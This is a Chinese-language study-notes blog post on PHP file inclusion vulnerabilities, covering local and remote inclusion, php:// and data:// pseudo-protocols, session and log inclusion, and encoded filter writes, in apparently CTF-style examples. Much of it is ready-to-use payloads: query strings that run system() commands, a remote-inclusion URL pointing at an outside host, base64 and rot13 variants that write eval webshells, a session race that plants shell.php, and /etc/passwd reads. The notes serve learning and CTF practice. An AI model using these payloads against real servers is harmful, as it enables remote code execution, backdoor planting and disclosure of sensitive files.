【学习笔记】文件包含漏洞--本地远程包含、伪协议、加密编码

一、文件包含漏洞

和SQL等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

PHP常用文件包含函数:include(),require(),include_once(),require_once()

区别如下:

  • require():找不到被包含的文件会产生致命错误,并停止脚本运行
  • include():找不到被包含的文件只会产生警告,脚本继续执行
  • require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
  • include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

二、漏洞成因分析

写以下两串php代码

利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析

将phpinfo.php文件后缀改为txt后进行访问,依然可以解析,同理,jpg也可

可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

在文件上传漏洞中,我们上传了一个jpg格式的一句话木马,如果网站有文件包含漏洞,jpg文件就可以被当做php文件解析,所以这就是文件上传漏洞通常配合文件上传使用。

将phpinfo.txt的内容改成一段文字:hello world!,再次进行访问,依旧可以读出文本内容

利用这个特性,我们可以读取一下包含敏感信息的文件。

三、本地包含、远程包含

①本地文件包含(LFI)

本地文件包含是指包含服务器本地文件并执行其中的代码。通常用于重用代码片段,避免重复编写相同的代码。

例如,在PHP中,可以使用includerequire函数来包含文件:

复制代码
<?php

include('localfile.php');

?>

如果包含的文件不存在,include 函数会产生警告,但脚本会继续运行,而require函数会产生致命错误并终止脚本。

②远程文件包含(RFI)

远程文件包含是指通过URL包含远程服务器上的文件并执行其中的代码。

要实现远程文件包含,PHP配置中的allow_url_include必须开启:

复制代码
<?php

include('http://example.com/remotefile.php');

?>

远程文件包含的风险更大,因为攻击者可以通过URL传递恶意代码并在目标服务器上执行。

风险:本地文件包含:主要风险是泄露服务器上的敏感文件。

远程文件包含:风险更大,可能导致远程代码执行。

四、伪协议

文件包含漏洞全面详解(伪协议)-CSDN博客

文件读取:

file:///etc/passwd(绝对路径)

php://filter/read=convert.base64-encode/resource=phpinfo.php(相对路径)

文件写入:

php://filter/write=convert.base64-encode/resource=phpinfo.php

php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

代码执行:

php://input------POST:<?php phpinfo();?>

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgc3lzdGVtKCdJcycpOz8+

++(注:PD9waHAgc3lzdGVtKCdJcycpOz8+解码为<?php system('Is');?>++

五、session包含

session文件会定时清空

自定义session名字,条件竞争不断访问session文件,value代码会不断写入是session文件中去,然后再session文件清空的一刹那不断用条件竞争去包含session文件,使其执行value代码,代码执行时就会创建shell.php文件,写入后门代码。

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />

六、php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system('tac flag.php');?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

七、data&http协议

payload: ?file=data://text/plain,<?=system('tac flag.*');?>

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

八、日志包含

利用日志记录UA特性包含执行,将后门代码写入UA 头中

payload:/var/log/nginx/access.log

九、php://filter/write&加密编码

1、利用base64:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13:

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

十、php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

以上内容均为自己学习理解所得,如有错误,欢迎大家评论指正!

相关推荐
用户580613939300几秒前
超越 console.log():前端调试的 10 个神级技巧
前端
却尘1 分钟前
当全世界都在用 Rust 重写一切时,Prisma 却选择了反方向
前端·数据库·orm
这是个栗子1 分钟前
前端开发者常用网站
前端
程序猿tu2 分钟前
Axios学习笔记
笔记·学习
前端小白佬17 分钟前
【JS】防抖(debounce)和节流(throttle)
前端·面试
GIS之路19 分钟前
OpenLayers 从后端服务加载 GeoJSON 数据
前端
开始编程吧27 分钟前
【HarmonyOS5】仓颉编程:当多范式统一成为智能时代的「通用语言」
前端
有谁看见我的剑了?29 分钟前
stress 服务器压力测试的工具学习
服务器·学习·压力测试
有谁看见我的剑了?30 分钟前
stress-ng 服务器压力测试的工具学习
服务器·学习·压力测试
PasserbyX36 分钟前
ES6 WeakMap 生效的证明: FinalizationRegistry
前端·javascript